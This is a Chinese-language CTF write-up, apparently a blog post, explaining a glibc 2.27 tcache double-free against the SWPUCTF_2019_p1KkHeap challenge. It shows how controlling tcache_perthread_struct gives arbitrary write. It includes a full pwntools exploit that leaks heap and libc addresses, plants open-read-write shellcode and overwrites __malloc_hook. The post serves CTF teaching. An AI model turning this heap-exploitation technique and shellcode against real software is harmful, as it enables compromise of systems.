BUU_SWPUCTF_2019_p1KkHeap学习tcache_perthread_struct

这题是我第一次控制tcache_perthread_struct达到任意地址写入,感觉有些小细节值得小小的记录一下
tcache_perthread_struct:
一张图片带你认识tcache_perthread_struct
图片来源 lynne’s blog 这位师傅讲的特别详细
在这里插入图片描述

ELF分析

64位、2.27libc、保护全开

题目分析

main函数第一个调用函数里面一眼memset+prctl,大概率禁execve,然后orw
在这里插入图片描述
在这里插入图片描述
menu:
在这里插入图片描述
add中最大申请0x100大小,且最多申请8个,idx[0,7]
在这里插入图片描述

delete中没有将指针置0,所以存在uaf,限制了free次数最多4次,
在这里插入图片描述
libc为2.27的话可以试一下能不能double_free,buu中暂时我刷到的2.27基本都是老版本,没有更新对double_free的检测,这题也可以。题目限制了chunk大小、限制了chunk数量、还限制了free数量,所以填满tcache、绕过tcache都行不通,这时候主角就该出场了
我们可以利用double_free控制tcache_perthread_struct,达到任意地址写入
所以我们的思路就是往0x66660000地址写入orw,再修改hook地址为0x66660000

思路实现

add(0x100) 
delete(1) 
delete(1) 
io.recvuntil("content: ")
heap_adr = u64(io.recv(6).ljust(8,b'\x00'))-0x360
print("heap_adr  ",hex(heap_adr))

double_free同时泄露heap_adr(tcache_perthread_struct)地址
然后修改tcache->fd = tcache_perthread_struct,再申请两次就可以控制tcache_perthread_struct了,然后计算偏移修改tcache_perthread_struct中对应chunk大小的地址
这里我用的0x100,其对应偏移为0x40+0x8*15
在这里插入图片描述
这里就是我说的小细节了、这里并没有将对应0x100的数量改为1,而是全覆盖为0,一是因为这里没有检测 (最开始我还以为会有检测,所以对应改为1,后面就变麻瓜了qwq)
二是这可以帮我们泄露libc地址,因为此时为0,而后面我们拿出0x66660000地址后,对应的数量会减1,即变成-1,即0xff,此时如果我们再次free一个0x100的chunk,tcache中会认为这里以及被填满了,而导致我们再次free的chunk进入unsortedbin (这也是用0x100的原因)
在这里插入图片描述
所以我们需要提前多申请一块地址,用来泄露libc地址,再后面就是再利用tcache_perthread_struct写orw和hook内容了,这里就不赘述了

EXP

from pwn import *		
context(log_level='debug',os='linux',arch='amd64')
pwnfile = './SWPUCTF_2019_p1KkHeap'
#io=process(pwnfile)
io=remote('node4.buuoj.cn',25411)
elf = ELF(pwnfile)			
libc = ELF("/home/kali/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6")	
def debug():
	gdb.attach(io)
	pause()
def cmd(x):
	io.recvuntil("Your Choice: ")
	io.sendline(str(x))
def add(size):   #最大0x100
	cmd(1)
	io.recvuntil("size: ")
	io.sendline(str(size))
def edit(idx,content):
	cmd(3)
	io.recvuntil("id: ")
	io.sendline(str(idx))
	io.recvuntil("content: ")
	io.send(content)
def show(idx):
	cmd(2)
	io.recvuntil("id: ")
	io.sendline(str(idx))
def delete(idx):  #4次
	cmd(4)
	io.recvuntil("id: ")
	io.sendline(str(idx))
#2.27 全开     ban execve
orw = asm('''
push 0x67616c66
mov eax,2
mov rdi,rsp
xor esi,esi
syscall
mov edi,eax
mov rsi,rsp
xor eax,eax
syscall
mov edi,1
mov eax,edi
syscall
''')
add(0x100) #0
add(0x100) #1
delete(1) #d1
delete(1) #d2
show(1)
io.recvuntil("content: ")
heap_adr = u64(io.recv(6).ljust(8,b'\x00'))-0x360
print("heap_adr  ",hex(heap_adr))
add(0x100) #2  
edit(2,p64(heap_adr))
add(0x100) #3
add(0x100) #4
#这里一定要设为0,后面add之后0-1=ff,即0x110的tcache满了,再delete就会进入unsortedbin
pay=p64(0)*(8+15)+p64(0x66660000)
edit(4,pay)
debug()
add(0x100) #5 
pay=orw
edit(5,pay)
delete(0) #d3 
show(0)
io.recvuntil("content: ")
malloc_hook = u64(io.recv(6).ljust(8,b'\x00'))-96-0x10
print("malloc_hook  ",hex(malloc_hook))
libc_base = malloc_hook - libc.symbols['__malloc_hook']
pay=p64(0)*(8+15)+p64(malloc_hook)
edit(4,pay)
add(0x100) #6
edit(6,p64(0x66660000))
#debug()
add(0x18)
io.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值